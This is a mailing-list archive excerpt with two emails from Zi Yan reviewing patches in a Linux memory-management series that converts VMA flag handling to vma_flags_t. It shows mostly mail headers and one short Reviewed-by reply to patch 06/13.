ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=yBra6uUFMQoN/y6ewP81O3m2YOPGJ0b90xg4TOL6++jBUmt3pGeIUr1yC7IVUI0rvpGQv7JLf3fKuIptGW+G+jng8leFlsBvXZH69th0THIkvEQNfBGug84W8+caXdgntNUxkErz4s1a1kY21xM+XpgCV9+slks05y12yTL65+v5jGLhKpm5EXX5DlUw9XneCkjQPcDmXFyGV1Wa7+mtsGJ1lsxyGWCAZCywh0y0uwOCstAj0qnjZvNEBiUEcChCOWf/4Oj5cREkfn3JQywGt7Q8cA9MFrJeJsW13ZIs3PgatAXhIra5wYp2643H6Tz5DEGH60frmGTCDG8ouoNMEQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=arzevAtoH6cUE5vjUvMhwI1l/6xS7uVDQdLrQTOTzjA=;
 b=NO5/uFep6RwJc/3yqw55hrjnxyrT61InrlFttGXoyk9B5td84ig4k1p1nc6ALYGNSKFC9dYr/wDu1viCYwAukG2MQvLanBEQKAYlTUNR6JdB7EnJX5wXRQziF9IvgNCvcimHZauFCIQWP4+RjgK+K0h3e/wdYFA5GtLgYLNR2ff55TrkSxvHaq2ttTCBb1a9MTOgMMLIAMpzpFlV8MfGK+bET7XOhhE4ChWyoFcTBCD8rxi7RHVftgR7Z1BLZTOXWid79Wc4IPKbbOX3PkAoCH/eIoKttkOXGlnw3isLdgOkZZoQlAwJOD2LhJ4NczldVzl9RhAM73keLKWqb+BLXg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=arzevAtoH6cUE5vjUvMhwI1l/6xS7uVDQdLrQTOTzjA=;
 b=IJ/n9ZflLYbi/Y9DmBKE/I0hWBSfbTopgftA713S+shU8putf/vChIRb5gbBfpyhqNIp53XDk3JUhGeFOh5WiKBOV03s6UK+/y7nzAelCc4YHGzb8eEU4BUFB7ix/hzsQEvMWPJNXAk1ctPMQfMDEMy8yV7w4yDX9oYUUPpmYZFUWXKaZQTu/GQtcGlGmUjm2paC1COttn5QJne2y88VnPLlruqpAZG+ZrL2Gl1NrLEeT3s1xGgi2c2q5Ytj1fn4j5aFAaMLFjip0D4jFcSwAZmmRvTNRElyaJbEZE+dYSeN7VditKzPHfZJOk4+yEyvReOe1JCgZRqTGIgzyRXUMQ==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Tue, 07 Jul 2026 22:30:10 -0400
Message-Id: <DJSU4BBF7EON.276L17W5RTEW1@nvidia.com>
Subject: Re: [PATCH 06/13] mm/vma: convert vm_pgprot_modify() to use
 vma_flags_t and rename
Cc: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>, "Madhavan Srinivasan"
 <maddy@linux.ibm.com>, "Michael Ellerman" <mpe@ellerman.id.au>, "Maarten
 Lankhorst" <maarten.lankhorst@linux.intel.com>, "Maxime Ripard"
 <mripard@kernel.org>, "Thomas Zimmermann" <tzimmermann@suse.de>, "David
 Airlie" <airlied@gmail.com>, "Simona Vetter" <simona@ffwll.ch>, "Lucas
 Stach" <l.stach@pengutronix.de>, "Inki Dae" <inki.dae@samsung.com>,
 "Seung-Woo Kim" <sw0312.kim@samsung.com>, "Kyungmin Park"
 <kyungmin.park@samsung.com>, "Krzysztof Kozlowski" <krzk@kernel.org>,
 "Peter Griffin" <peter.griffin@linaro.org>, "Jani Nikula"
 <jani.nikula@linux.intel.com>, "Joonas Lahtinen"
 <joonas.lahtinen@linux.intel.com>, "Rodrigo Vivi" <rodrigo.vivi@intel.com>,
 "Tvrtko Ursulin" <tursulin@ursulin.net>, "Rob Clark"
 <robin.clark@oss.qualcomm.com>, "Dmitry Baryshkov" <lumag@kernel.org>,
 "Lyude Paul" <lyude@redhat.com>, "Danilo Krummrich" <dakr@kernel.org>,
 "Tomi Valkeinen" <tomi.valkeinen@ideasonboard.com>, "Sandy Huang"
 <hjc@rock-chips.com>, =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>,
 "Andy Yan" <andy.yan@rock-chips.com>, "Thierry Reding"
 <thierry.reding@kernel.org>, "Mikko Perttunen" <mperttunen@nvidia.com>,
 "Jonathan Hunter" <jonathanh@nvidia.com>, "Gerd Hoffmann"
 <kraxel@redhat.com>, "Dmitry Osipenko" <dmitry.osipenko@collabora.com>,
 "Zack Rusin" <zack.rusin@broadcom.com>, "Matthew Brost"
 <matthew.brost@intel.com>, "Thomas Hellstrom"
 <thomas.hellstrom@linux.intel.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>, "Helge Deller" <deller@gmx.de>,
 "Benjamin LaHaise" <bcrl@kvack.org>, "Alexander Viro"
 <viro@zeniv.linux.org.uk>, "Christian Brauner" <brauner@kernel.org>,
 "Muchun Song" <muchun.song@linux.dev>, "Oscar Salvador"
 <osalvador@suse.de>, "David Hildenbrand" <david@kernel.org>, "Baolin Wang"
 <baolin.wang@linux.alibaba.com>, "Liam R . Howlett" <liam@infradead.org>,
 "Nico Pache" <npache@redhat.com>, "Ryan Roberts" <ryan.roberts@arm.com>,
 "Dev Jain" <dev.jain@arm.com>, "Barry Song" <baohua@kernel.org>, "Lance
 Yang" <lance.yang@linux.dev>, "Hugh Dickins" <hughd@google.com>, "Vlastimil
 Babka" <vbabka@kernel.org>, "Mike Rapoport" <rppt@kernel.org>, "Suren
 Baghdasaryan" <surenb@google.com>, "Michal Hocko" <mhocko@suse.com>, "Jann
 Horn" <jannh@google.com>, "Pedro Falcato" <pfalcato@suse.de>, "Kees Cook"
 <kees@kernel.org>, "Jaroslav Kysela" <perex@perex.cz>, "Takashi Iwai"
 <tiwai@suse.com>, <linux-mips@vger.kernel.org>,
 <linux-kernel@vger.kernel.org>, <linuxppc-dev@lists.ozlabs.org>,
 <dri-devel@lists.freedesktop.org>, <etnaviv@lists.freedesktop.org>,
 <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Andrew Morton"
 <akpm@linux-foundation.org>
From: "Zi Yan" <ziy@nvidia.com>
X-Mailer: aerc 0.21.0
References: <cover.1782760670.git.ljs@kernel.org>
 <548ba81b2971734d4d2143237ad1465bd1b2f525.1782760670.git.ljs@kernel.org>
In-Reply-To: <548ba81b2971734d4d2143237ad1465bd1b2f525.1782760670.git.ljs@kernel.org>
X-ClientProxiedBy: DS1PR07CA0009.namprd07.prod.outlook.com
 (2603:10b6:8:456::17) To IA0PR12MB8374.namprd12.prod.outlook.com
 (2603:10b6:208:40e::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA0PR12MB8374:EE_|PH8PR12MB6963:EE_
X-MS-Office365-Filtering-Correlation-Id: 0c6621ac-eb34-405b-3d17-08dedc98d978
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|10070799003|1800799024|366016|23010399003|376014|7416014|22082099003|18002099003|6133799003|56012099006|11063799006|4143699003;
X-Microsoft-Antispam-Message-Info:
	VAzUzijjsJMvZkTGj7iS37VLUGQpPdMEUfbkgqqEylainL+DBI6dFO51X/qwWCWcg5JSVNRgvk5htcQKKY+WLC47q0M+mfb8J9jpXe8myoD32H8zyHLtpoyZEvDZh6N5Gd7VpoR8pu6CTsearPGoErfEfPNs+BXPgBg1o18aIV1xS0iFNPrKMl+sWL7EJqeo1scKZYY1/dN16dLPqcE5VEB0lU8v4pKk+LeIfyN7e1l199nFenhu2aCgt3+r9Z8mmD5B7AlmjDTg+rcmj3sXv1qgoxZbu+VMZ86acnfduxcUBbLMTRopt6wx6d506Tm8d9UiDJrfFS98BcDr1ic4gelhhj5bMEd/3VbMKtmzgjMtyjR2Zl2O3gBBIO881rEoW/HYTxVoR9WDKLXLhgC+gu62f8ULeBFOObIA9lZLWTfNvyTmlJ8SBGo4S+HZGxfLki5EdZp4XMUSgxZCsrxsWYfPe2DLTJ0mAtWW1OcZkDNw20hFJY5KoQc3eoi+dm95FKrilZsz77euV0JC91TouPj5u9OtFDdOgVOjU+IBa0gNww9gaocAhWFdw9BItcPSBEwPs5WnSnWgE4+d8JlITOTRXMpcBuWi+2G/EKAP0F0YNGZEoeQRXtcI5URKg1O3bp4lYrw3k7uwgM3bUKCHLEyCx1xJMQ8RE0hu2k/jJWM=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA0PR12MB8374.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(10070799003)(1800799024)(366016)(23010399003)(376014)(7416014)(22082099003)(18002099003)(6133799003)(56012099006)(11063799006)(4143699003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?YlJvRk5yMldtTGhKSnFFcEZYUllSVUdabjZrVG1adkVmSHpadVlTaGQ2ckRZ?=
 =?utf-8?B?akQ4ZlUxOGFFaHkxV3dXWVJEcWp4My9GZzlzbzRnY0Y0cjAzMWhrUTFjYzdv?=
 =?utf-8?B?YXYvZGp6bG1NSjMyS0pKUnloSnV2Q21NbmVVVlQ3eDFSZHBYL3QrbFdzaXBQ?=
 =?utf-8?B?ZjYzYnVZUzhoOVJsV3k2SDFkTXExcTBiRHUwQWt5TjRLZTNPNW9Fb1J2SW5t?=
 =?utf-8?B?cWFBNzBvTy9ja0hqSktpOUJZTG0rRVd2TEZrbTVhQ3VPRmpqK1pUTGU5VmtO?=
 =?utf-8?B?ZVpPeERBZ1dqem1rOWxUQWRzYkc0cHNJcXFxa05zV0Z2Z1llK2F2QVFxVWZr?=
 =?utf-8?B?TlBzSnJMZFdrNFprdzV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B?TFo1VktNMHpuRW43REhFbGdvNTJVTW4yaUxHQ1k4NDR4ZDRneDlZMzdiOEVP?=
 =?utf-8?B?SnpKamdHaE9vU1YvREhQYmJGc2RhanR3bXFEMlJmM2tKVEJPRzcvUkx0YXdL?=
 =?utf-8?B?U0EycERWUUxhS3VhL09qT3I2c05lSEw4M0N6S2VoTENLMi9tRE9qR09aWUZr?=
 =?utf-8?B?aGxtbkM5M1NQNWVNZXEvTFIvNFdhOEowSzBpditXeFVld0lNQzUxZ1NlV0tN?=
 =?utf-8?Q?2FxA9efYaxP1BooyqXhD3g//7LqxQMMxqb004?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 0c6621ac-eb34-405b-3d17-08dedc98d978
X-MS-Exchange-CrossTenant-AuthSource: IA0PR12MB8374.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 02:30:17.6810
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: IR4pRR0IZrwgy9TMLVxgrf6jof6ZMh6ww9NBNbjH0YPS3Wokg4RcFSC5tqtGcdFC
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH8PR12MB6963
X-purgate-ID: tlsNG-d62444/1783477828-830C41E0-C20E86BE/0/0
X-purgate-type: clean
X-purgate-size: 1044

On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> Update vm_pgprot_modify() to use the new VMA flags type vma_flags_t, and
> rename to vma_pgprot_modify() accordingly.
>
> This is part of the ongoing work to convert vm_flags_t to vma_flags_t, in
> order to eliminate the arbitrary limit of the number of bits in a system
> word on available VMA flags.
>
> Update VMA userland tests accordingly, updating vma_set_page_prot() to no
> longer inline vma_pgprot_modify(), rather we can simply define
> vma_pgprot_modify() as a static inline function and the tests will pick i=
t
> up from vma.h.
>
> No functional change intended.
>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  mm/mmap.c                       |  8 ++++----
>  mm/vma.c                        |  2 +-
>  mm/vma.h                        |  6 ++++--
>  tools/testing/vma/include/dup.h | 12 +++++-------
>  4 files changed, 14 insertions(+), 14 deletions(-)
>

Reviewed-by: Zi Yan <ziy@nvidia.com>


--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 02:31:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 02:31:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356553.1611130 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whI4Y-0000nx-Dm; Wed, 08 Jul 2026 02:31:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356553.1611130; Wed, 08 Jul 2026 02:31:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whI4Y-0000nq-Ar; Wed, 08 Jul 2026 02:31:38 +0000
Received: by outflank-mailman (input) for mailman id 1356553;
 Wed, 08 Jul 2026 02:31:37 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1whI4X-0000ni-4u
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 02:31:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whI4W-009O2A-I5
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 04:31:36 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4db64c-e002-0a2a0a5209dd-0a2a4505d2f2-34
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 04:31:36 +0200
Received: from [40.107.200.0]
 (helo=CH5PR02CU005.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4db686-3cb2-0a2a45050019-286bc800d84e-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 04:31:36 +0200
Received: from IA0PR12MB8374.namprd12.prod.outlook.com (2603:10b6:208:40e::7)
 by PH8PR12MB6963.namprd12.prod.outlook.com (2603:10b6:510:1be::14)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Wed, 8 Jul
 2026 02:31:25 +0000
Received: from IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16]) by IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16%5]) with mapi id 15.21.0181.009; Wed, 8 Jul 2026
 02:31:25 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=SonGZCQTfL4B86QLMg28+HjnMm4XXarTlNQe/Bl1VayW0rTNE4KvMGL1vb4/1z68SP5esKqvsDATtGeYj0TSdQqSvEofdIaCNB4RLrof+2OyaAgFY9eAL2CGY1qtGtJOGhFmvfwcr8dsMTgTF5fBfMsPUnejzZzsx705kgVSH3PydNkqdLz7PW3Q/RSjJQ1HmNfz642s9v972prGQI184HXl45fjtGGprYteL/T/JXWkwycIHGHgVcLjhNUsXQ+FMUbPl5VoH/7Z503G9UHOPXXpze6qz0uBA7jbSeH9XZPvRlS3c0Gn7FSSXuDq3EkXMOXZ1QoeKSW85dKB1bExhA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ttxfngV3H6lKnDvvUfKS5bkddGHszwBGKHpn0tQr5RE=;
 b=fW5ZYoDK593YrhoaL/BRgnDrqzx56QLI7hX7jwS8PHqSWS4ZXTp0vIxBIt3+2CWwzeLMlNzKB7Tjk/N/UhbU85EKfTQY7SX1NwNlUS8NkqAGVnLePBRbxFoqRRDj8wntTR+bZ6oNtASkKtXM3n2DNLg94ysRdMei8tV4o81dv6xGDGx0bRs7m+dHMFFTiyO5kcHHYJJW7gG6je7DXUhK+iTGux39U2wQL8wf0pUrJwX2zFRDDNIkJD6uvKMsWC6VfqLg+G/7Ak7nMZ6Dqbuw/WpjZn/pFDlukEKIe85G3py2Kn0JQO5i+8tmi2nKBnum104bqdq9cOLW1WPAEScz5Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ttxfngV3H6lKnDvvUfKS5bkddGHszwBGKHpn0tQr5RE=;
 b=JIPPvrzzvMNKQT/d2ads8Yp2iQI9LfaFy/tnTHGUQmtOyY4VAtJ2pdMjazY5ualqo57UFco5Ai3JsycxzgYlszh9z8tpjaqawKRFpGSYcmG/jl6q4ZnFSk80Rsk/WVpVH8EzdkCLl62ODFMF5CGmRLFTGaPyLSv1qU7Q9sgANOIYnMb0cRwMG+GFKm3igm3k4gL/Yk83S6Ix0iJJrWEmT0uO7kM/O7pkQFsH6IeEPnZU/PEXJn8vmosJg5e4snOCus5Od3m9aelPdSWJYe/zBcnwFq19Ybl+kylpqq8X6SVAKTSxSyweaoIeieRdm92pQkiPsfVaeFZV1L7G71pAkg==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Tue, 07 Jul 2026 22:31:20 -0400
Message-Id: <DJSU57KWRK33.19HLU7QCZY3B5@nvidia.com>
Subject: Re: [PATCH 07/13] mm/vma: rename vma_get_page_prot to
 vma_flags_to_page_prot
Cc: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>, "Madhavan Srinivasan"
 <maddy@linux.ibm.com>, "Michael Ellerman" <mpe@ellerman.id.au>, "Maarten
 Lankhorst" <maarten.lankhorst@linux.intel.com>, "Maxime Ripard"
 <mripard@kernel.org>, "Thomas Zimmermann" <tzimmermann@suse.de>, "David
 Airlie" <airlied@gmail.com>, "Simona Vetter" <simona@ffwll.ch>, "Lucas
 Stach" <l.stach@pengutronix.de>, "Inki Dae" <inki.dae@samsung.com>,
 "Seung-Woo Kim" <sw0312.kim@samsung.com>, "Kyungmin Park"
 <kyungmin.park@samsung.com>, "Krzysztof Kozlowski" <krzk@kernel.org>,
 "Peter Griffin" <peter.griffin@linaro.org>, "Jani Nikula"
 <jani.nikula@linux.intel.com>, "Joonas Lahtinen"
 <joonas.lahtinen@linux.intel.com>, "Rodrigo Vivi" <rodrigo.vivi@intel.com>,
 "Tvrtko Ursulin" <tursulin@ursulin.net>, "Rob Clark"
 <robin.clark@oss.qualcomm.com>, "Dmitry Baryshkov" <lumag@kernel.org>,
 "Lyude Paul" <lyude@redhat.com>, "Danilo Krummrich" <dakr@kernel.org>,
 "Tomi Valkeinen" <tomi.valkeinen@ideasonboard.com>, "Sandy Huang"
 <hjc@rock-chips.com>, =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>,
 "Andy Yan" <andy.yan@rock-chips.com>, "Thierry Reding"
 <thierry.reding@kernel.org>, "Mikko Perttunen" <mperttunen@nvidia.com>,
 "Jonathan Hunter" <jonathanh@nvidia.com>, "Gerd Hoffmann"
 <kraxel@redhat.com>, "Dmitry Osipenko" <dmitry.osipenko@collabora.com>,
 "Zack Rusin" <zack.rusin@broadcom.com>, "Matthew Brost"
 <matthew.brost@intel.com>, "Thomas Hellstrom"
 <thomas.hellstrom@linux.intel.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>, "Helge Deller" <deller@gmx.de>,
 "Benjamin LaHaise" <bcrl@kvack.org>, "Alexander Viro"
 <viro@zeniv.linux.org.uk>, "Christian Brauner" <brauner@kernel.org>,
 "Muchun Song" <muchun.song@linux.dev>, "Oscar Salvador"
 <osalvador@suse.de>, "David Hildenbrand" <david@kernel.org>, "Baolin Wang"
 <baolin.wang@linux.alibaba.com>, "Liam R . Howlett" <liam@infradead.org>,
 "Nico Pache" <npache@redhat.com>, "Ryan Roberts" <ryan.roberts@arm.com>,
 "Dev Jain" <dev.jain@arm.com>, "Barry Song" <baohua@kernel.org>, "Lance
 Yang" <lance.yang@linux.dev>, "Hugh Dickins" <hughd@google.com>, "Vlastimil
 Babka" <vbabka@kernel.org>, "Mike Rapoport" <rppt@kernel.org>, "Suren
 Baghdasaryan" <surenb@google.com>, "Michal Hocko" <mhocko@suse.com>, "Jann
 Horn" <jannh@google.com>, "Pedro Falcato" <pfalcato@suse.de>, "Kees Cook"
 <kees@kernel.org>, "Jaroslav Kysela" <perex@perex.cz>, "Takashi Iwai"
 <tiwai@suse.com>, <linux-mips@vger.kernel.org>,
 <linux-kernel@vger.kernel.org>, <linuxppc-dev@lists.ozlabs.org>,
 <dri-devel@lists.freedesktop.org>, <etnaviv@lists.freedesktop.org>,
 <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Andrew Morton"
 <akpm@linux-foundation.org>
From: "Zi Yan" <ziy@nvidia.com>
X-Mailer: aerc 0.21.0
References: <cover.1782760670.git.ljs@kernel.org>
 <fc8ac30d03d29d236e76542b36432bba315aca60.1782760670.git.ljs@kernel.org>
In-Reply-To: <fc8ac30d03d29d236e76542b36432bba315aca60.1782760670.git.ljs@kernel.org>
X-ClientProxiedBy: CH0PR08CA0018.namprd08.prod.outlook.com
 (2603:10b6:610:33::23) To IA0PR12MB8374.namprd12.prod.outlook.com
 (2603:10b6:208:40e::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA0PR12MB8374:EE_|PH8PR12MB6963:EE_
X-MS-Office365-Filtering-Correlation-Id: 35c05e9e-54ea-49ec-52a4-08dedc990200
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|7416014|22082099003|18002099003|6133799003|56012099006|11063799006|4143699003;
X-Microsoft-Antispam-Message-Info:
	6zKyg7WjKnD8NHUW7mttETO/Y4eH4we/E1sHMS0ytvmyx61z1DwP9ufk6c0tJEUYMPG6+jc8oM/TxoPAmcQ0jmsfCfDpWtLWfo8Ybq/X6Eq2xYl1ozonJjXPHKNxrCL9QL4zoW7v39R/GrOMku2OopmKutnX5y4HRYskg0wH6GkRNZoWn3zetDf7nthvPB4hQ0RvmCndtzlxbsNZLMntn2iHiycbmFQ5pr5XwT7hSOyxodTgR0IEVEIicRrduNzgGlFAIJXV92AcWC12zxAwsk7d6sSVbk6cR8Pu00D+5c7sqR+bWNw4nufj6eyN3GGIe2gOpu7klmj7sZ/gmhe+Kv4zIdcY5ftrpIFvoq1LuM0uc1P+l/q9r5p0GRizZ8L92p7UmF00woumt63jpCJ5xkfRZc1VvcSNY+FDROYGjAqEs7HrbiYSA26DiWXkHnJWz7rhTAM11ps2bLrrhiyP6hSouKyYXmUwGkwg2Mj0cDgQQK0CtJumnF3nxsTpVYsGHc+jH3Q+HBSZj/TeLjA2ee37eibTE714X7n92NPeode/rgqzXyBmWQOgji5Vdno2xtUnN8JGI+D1BNqdAdi6yG31Y63pEgHB0CKTbUehSDFQsgmh/0YYCQJvZnqYkO5F0V7wRilVzsm2VFpv3rzL/pzOCEJXa6opgisfRTMleXM=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA0PR12MB8374.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(7416014)(22082099003)(18002099003)(6133799003)(56012099006)(11063799006)(4143699003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?ut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dE8zS1pp?=
 =?utf-8?B?dlFyZEs1aUhYblhJV0NGWitLSGpXVHFkblRIK2d5TnZIYUpUVGo3YmoySFVL?=
 =?utf-8?B?MlZNWUJzb2QybDd0MkVZVWc1L2ordEJtSE91Mjl2RFJSKzR4SkFTL2FLdHAr?=
 =?utf-8?B?R0N5MWdZQzA0dDdPLzUrc0VTMGgyaWZXOGM1Z2FiWVBDelE2cWt6OEJrUWFw?=
 =?utf-8?B?d0tkamJaMS9iOFBiakVtVW1iYmtIU3VrVkJ6U1c3THIyU2RhWGdBeFo4MG1p?=
 =?utf-8?B?SHg0MmRnQ3kvMVBKQ1FaT1VoT0NHbDdra09hTURYQkZVcC9ta0JNOTFrMUNK?=
 =?utf-8?B?aENJQlE5enZ6MldQWjZoK2VPelliYkRXMmM0YTdRNjR4SmRFMnVkMTFvNlg4?=
 =?utf-8?B?S2tZeVhNTTRMT1JvVHV6WnoyS1k2KzdTN2hDUytUZlFRWWl6YTkvSGFrRGRj?=
 =?utf-8?B?bjdab1R2Vk5hUnMvYzZvRGVBZjk3Q0d4Nnd2bUQvZU5OOW4zZ21OODQvbWdj?=
 =?utf-8?B?OU4xQXZYQzExTmxHenVIVzhSc2N0blhUOERlcis3bUhPQjdsNG4rbS9Qa2U3?=
 =?utf-8?Q?Kwfh2rNfvXERP8o4CW?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 35c05e9e-54ea-49ec-52a4-08dedc990200
X-MS-Exchange-CrossTenant-AuthSource: IA0PR12MB8374.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 02:31:25.6540
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: kKvUwlfFwMZciuGBJ3r8u8SzFQpEl+WufaAGMp3OfxQGrThdSXoUxmksrRDhps6V
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH8PR12MB6963
X-purgate-ID: tlsNG-c201ff/1783477896-1751A2B8-9181C6F9/0/0
X-purgate-type: clean
X-purgate-size: 678

